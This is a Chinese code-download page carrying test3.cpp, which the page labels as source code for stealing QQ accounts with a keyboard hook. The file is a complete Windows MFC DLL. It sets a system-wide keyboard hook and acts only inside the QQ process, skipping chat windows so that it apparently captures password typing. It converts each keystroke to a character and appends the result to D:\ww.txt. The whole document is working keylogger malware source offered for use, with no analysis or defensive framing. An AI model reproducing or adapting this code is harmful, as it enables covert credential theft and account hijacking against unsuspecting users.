⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 test3.cpp

📁 利用键盘钩子盗QQ的源代码
💻 CPP
字号:
// test3.cpp : Defines the initialization routines for the DLL.
//

#include "stdafx.h"
#include "test3.h"
#include <tlhelp32.h>
#define  DllExport _declspec(dllexport)    

#ifdef _DEBUG
#define new DEBUG_NEW
#undef THIS_FILE
static char THIS_FILE[] = __FILE__;
#endif

#pragma data_seg(".SHARDAT")
static HHOOK hkb = NULL;
#pragma data_seg()
HINSTANCE hins;
CFile m_pfile;

HWND hcaretWnd = NULL;

//
//	Note!
//
//		If this DLL is dynamically linked against the MFC
//		DLLs, any functions exported from this DLL which
//		call into MFC must have the AFX_MANAGE_STATE macro
//		added at the very beginning of the function.
//
//		For example:
//
//		extern "C" BOOL PASCAL EXPORT ExportedFunction()
//		{
//			AFX_MANAGE_STATE(AfxGetStaticModuleState());
//			// normal function body here
//		}
//
//		It is very important that this macro appear in each
//		function, prior to any calls into MFC.  This means that
//		it must appear as the first statement within the 
//		function, even before any object variable declarations
//		as their constructors may generate calls into the MFC
//		DLL.
//
//		Please see MFC Technical Notes 33 and 58 for additional
//		details.
//

/////////////////////////////////////////////////////////////////////////////
// CTest3App

BEGIN_MESSAGE_MAP(CTest3App, CWinApp)
	//{{AFX_MSG_MAP(CTest3App)
		// NOTE - the ClassWizard will add and remove mapping macros here.
		//    DO NOT EDIT what you see in these blocks of generated code!
	//}}AFX_MSG_MAP
END_MESSAGE_MAP()

DWORD DllExport GetQQ()
{
	HANDLE m_handle=::CreateToolhelp32Snapshot(TH32CS_SNAPALL,0);
	PROCESSENTRY32* Info = new PROCESSENTRY32;
	Info->dwSize = sizeof(PROCESSENTRY32);
	if(::Process32First(m_handle,Info))
	{
		while(::Process32Next(m_handle,Info)!=FALSE)
		{
			CString ss;
			ss=Info->szExeFile;
			ss.MakeLower();
			if(ss.Find("qq") != -1)
			{
				return Info->th32ProcessID;
			}
		}
		::CloseHandle(m_handle);
		if(Info)
		{
			delete Info;
		}
	}
	return -1;
}

BOOL DllExport b_Focus()
{
	HWND hWnd;
	GUITHREADINFO* Info = new GUITHREADINFO;
	Info->cbSize = sizeof(GUITHREADINFO);
	if(::GetGUIThreadInfo(NULL,Info) == 0)
		return FALSE;
	hWnd = Info->hwndCaret;
	if(hWnd == hcaretWnd)
	{
		return TRUE;
	}
	else
	{
		hcaretWnd = hWnd;
		return FALSE;
	}

}

LRESULT DllExport   CALLBACK KeyboardProc(int nCode,WPARAM wParam,LPARAM lParam)
{
	if(::GetCurrentProcessId() != GetQQ())
		return CallNextHookEx(hkb, nCode, wParam, lParam );
    HWND H_wnd = ::GetForegroundWindow();
	char sTitle[255];
	CString ss;
	::SendMessage(H_wnd,WM_GETTEXT,255,(LPARAM)sTitle);
	ss = sTitle;
	int n = ss.Find("发送消息",0);
	int m = ss.Find("聊天室",0);
	if(m >= 0 || n >= 0)
		return CallNextHookEx(hkb, nCode, wParam, lParam );

	if(nCode == HC_ACTION && (lParam & 0xc000ffff) == 1)
	{
		CString sName;
		BOOL b_Sft = ::GetAsyncKeyState(VK_SHIFT) >> ((sizeof(short) * 8)-1);
		if(b_Sft)
		{
			switch(wParam)
			{
			case '1':sName = "!";break;
			case '2':sName = "@";break;
			case '3':sName = "#";break;
			case '4':sName = "$";break;
			case '5':sName = "%";break;
			case '6':sName = "^";break;
			case '7':sName = "&";break;
			case '8':sName = "*";break;
			case '9':sName = "(";break;
			case '0':sName = ")";break;
			case 'A':sName = "A";break;
		    case 'B':sName = "B";break;
		    case 'C':sName = "C";break;
		    case 'D':sName = "D";break;
		    case 'E':sName = "E";break;
		    case 'F':sName = "F";break;
		    case 'G':sName = "G";break;
		    case 'H':sName = "H";break;
		    case 'I':sName = "I";break;
		    case 'J':sName = "J";break;
		    case 'K':sName = "K";break;
		    case 'L':sName = "L";break;
		    case 'M':sName = "M";break;
		    case 'N':sName = "N";break;
		    case 'O':sName = "O";break;
		    case 'P':sName = "P";break;
		    case 'Q':sName = "Q";break;
		    case 'R':sName = "R";break;
		    case 'S':sName = "S";break;
		    case 'T':sName = "T";break;
		    case 'U':sName = "U";break;
		    case 'V':sName = "V";break;
		    case 'W':sName = "W";break;
		    case 'X':sName = "X";break;
		    case 'Y':sName = "Y";break;
		    case 'Z':sName = "Z";break;

			}
		}
		else
		{
			switch(wParam)
			{
// 0~9	
		    case '1':sName = "1";break;
		    case '2':sName = "2";break;
		    case '3':sName = "3";break;
		    case '4':sName = "4";break;	
		    case '5':sName = "5";break;
		    case '6':sName = "6";break;
		    case '7':sName = "7";break;
		    case '8':sName = "8";break;
		    case '9':sName = "9";break;
		    case '0':sName = "0";break;

// A~Z
		    case 'A':sName = "a";break;
		    case 'B':sName = "b";break;
		    case 'C':sName = "c";break;
		    case 'D':sName = "d";break;
		    case 'E':sName = "e";break;
		    case 'F':sName = "f";break;
		    case 'G':sName = "g";break;
		    case 'H':sName = "h";break;
	     	case 'I':sName = "i";break;
	    	case 'J':sName = "j";break;
	    	case 'K':sName = "k";break;
		    case 'L':sName = "l";break;
		    case 'M':sName = "m";break;
		    case 'N':sName = "n";break;
		    case 'O':sName = "o";break;
		    case 'P':sName = "p";break;
		    case 'Q':sName = "q";break;
		    case 'R':sName = "r";break;
		    case 'S':sName = "s";break;
		    case 'T':sName = "t";break;
		    case 'U':sName = "u";break;
		    case 'V':sName = "v";break;
		    case 'W':sName = "w";break;
		    case 'X':sName = "x";break;
		    case 'Y':sName = "y";break;
		    case 'Z':sName = "z";break;
			}
		}
//数字键

		switch(wParam)
		{
 		case VK_BACK:sName = "~";break;

		case VK_NUMPAD1:sName = "1";break;
		case VK_NUMPAD2:sName = "2";break;
		case VK_NUMPAD3:sName = "3";break;
		case VK_NUMPAD4:sName = "4";break;
		case VK_NUMPAD5:sName = "5";break;
		case VK_NUMPAD6:sName = "6";break;
        case VK_NUMPAD7:sName = "7";break;
		case VK_NUMPAD8:sName = "8";break;
		case VK_NUMPAD9:sName = "9";break;
		case VK_NUMPAD0:sName = "0";break;
        case VK_MULTIPLY:sName = "*";break;
		case VK_ADD:     sName = "+";break;
		case VK_SUBTRACT:sName = "-";break;
		case VK_DECIMAL: sName = ".";break;
		case VK_DIVIDE: sName = "/";break;
		}

//其他键的处理
		char KeyName[50];
		ZeroMemory(KeyName,50);
		GetKeyNameText(lParam,KeyName,50);
		CString KeyNameStr=KeyName;
		if(KeyNameStr=="`")
		{
			if(b_Sft)
				sName = "~";
			else
				sName = "`";
		}
		if(KeyNameStr=="-")
		{
			if(b_Sft)
				sName = "_";
			else
				sName = "-";
		}
		if(KeyNameStr=="=")
		{
			if(b_Sft)
				sName = "+";
			else
				sName = "=";
		}
		if(KeyNameStr=="[")
		{
			if(b_Sft)
				sName = "{";
			else
				sName = "[";
		}
		if(KeyNameStr=="]")
		{
			if(b_Sft)
				sName = "}";
			else
				sName = "]";
		}
		if(KeyNameStr==";")
		{
			if(b_Sft)
				sName = ":";
			else
				sName = ";";
		}
		if(KeyNameStr=="'")
		{
			if(b_Sft)
				sName = "\"";
			else
				sName = ",";
		}
		if(KeyNameStr==",")
		{
			if(b_Sft)
				sName = "<";
			else
				sName = ",";
		}
		if(KeyNameStr==".")
		{
			if(b_Sft)
				sName = ">";
			else
				sName = ".";
		}
		if(KeyNameStr=="/")
		{
			if(b_Sft)
				sName = "?";
			else
				sName = "/";
		}
		if(KeyNameStr=="\\")
		{
			if(b_Sft)
				sName = "|";
			else
				sName = "\\";
		}

		m_pfile.Open("D:\\ww.txt",CFile::modeWrite);
		m_pfile.SeekToEnd();
		if(!b_Focus())
		{
			CString ss = "\r\n";
			m_pfile.Write(ss,ss.GetLength());
		}
		m_pfile.Write(sName, sName.GetLength());
		m_pfile.Close();

	}
	LRESULT RetVal = CallNextHookEx(hkb, nCode, wParam, lParam );	
	return  RetVal;
}


BOOL DllExport  installhook()
{
	hkb = SetWindowsHookEx(WH_KEYBOARD,(HOOKPROC)KeyboardProc,hins,0);
	return TRUE;
}

BOOL DllExport  UnHook()
{   	
	BOOL unhooked = UnhookWindowsHookEx(hkb);
	return unhooked;
}

BOOL CTest3App::InitInstance ()
{	
	AFX_MANAGE_STATE(AfxGetStaticModuleState());
	hins=AfxGetInstanceHandle();

	return TRUE;	
}

/////////////////////////////////////////////////////////////////////////////
// CTest3App construction

CTest3App::CTest3App()
{
	// TODO: add construction code here,
	// Place all significant initialization in InitInstance
}

/////////////////////////////////////////////////////////////////////////////
// The one and only CTest3App object

CTest3App theApp;

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -